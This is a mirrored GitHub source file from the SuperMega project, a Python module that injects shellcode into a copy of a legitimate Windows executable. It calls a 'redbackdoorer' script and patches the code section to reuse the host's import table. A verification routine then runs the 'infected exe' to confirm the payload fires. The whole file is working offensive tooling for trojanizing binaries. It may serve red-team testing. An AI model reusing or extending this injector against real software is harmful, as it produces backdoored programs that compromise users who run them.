mirror of
https://github.com/dobin/SuperMega
synced 2026-06-03 01:27:11 +00:00
Dobin
79 lines
2.4 KiB
Python
79 lines
2.4 KiB
Python
from helper import *
|
|
import shutil
|
|
import pprint
|
|
import logging
|
|
import time
|
|
|
|
from pehelper import *
|
|
from model import *
|
|
from project import project
|
|
|
|
logger = logging.getLogger("Injector")
|
|
|
|
|
|
def inject_exe(
|
|
shellcode_in: FilePath,
|
|
exe_in: FilePath,
|
|
exe_out: FilePath,
|
|
exe_capabilities: ExeCapabilities,
|
|
):
|
|
logger.info("--[ Injecting: {} into: {} -> {} ".format(
|
|
shellcode_in, exe_in, exe_out
|
|
))
|
|
|
|
# create copy of file exe_in to exe_out
|
|
shutil.copyfile(exe_in, exe_out)
|
|
|
|
# inject shellcode into exe_out with redbackdoorer
|
|
# python3.exe .\redbackdoorer.py 1,1 main-clean-append.bin .\exes\procexp64-a.exe
|
|
run_process_checkret([
|
|
"python3.exe",
|
|
"redbackdoorer.py",
|
|
project.inject_mode,
|
|
shellcode_in,
|
|
exe_out
|
|
])
|
|
|
|
# replace IAT in shellcode in code
|
|
# and re-implant it
|
|
if project.source_style == SourceStyle.iat_reuse:
|
|
# get code section of exe_out
|
|
code = extract_code_from_exe(exe_out)
|
|
for cap in exe_capabilities.get_all().values():
|
|
if not cap.id in code:
|
|
raise Exception("Capability ID {} not found, abort".format(cap.id))
|
|
|
|
off = code.index(cap.id)
|
|
current_address = off + exe_capabilities.image_base + exe_capabilities.text_virtaddr
|
|
destination_address = cap.addr
|
|
logger.info(" Replace at 0x{:x} with call to 0x{:x}".format(
|
|
current_address, destination_address
|
|
))
|
|
jmp = assemble_and_disassemble_jump(
|
|
current_address, destination_address
|
|
)
|
|
code = code.replace(cap.id, jmp)
|
|
|
|
# write back our patched code into the exe
|
|
write_code_section(exe_file=exe_out, new_data=code)
|
|
|
|
|
|
def verify_injected_exe(exefile: FilePath):
|
|
logger.info("---[ Verify infected exe: {} ".format(exefile))
|
|
# remove indicator file
|
|
pathlib.Path(project.verify_filename).unlink(missing_ok=True)
|
|
|
|
run_process_checkret([
|
|
exefile,
|
|
], check=False)
|
|
time.sleep(SHC_VERIFY_SLEEP)
|
|
if os.path.isfile(project.verify_filename):
|
|
logger.info("---> Verify OK. Infected exe works (file was created)")
|
|
# better to remove it immediately
|
|
os.remove(project.verify_filename)
|
|
return True
|
|
else:
|
|
logger.error("---> Verify FAIL. Infected exe does not work (no file created)")
|
|
return False
|
|
|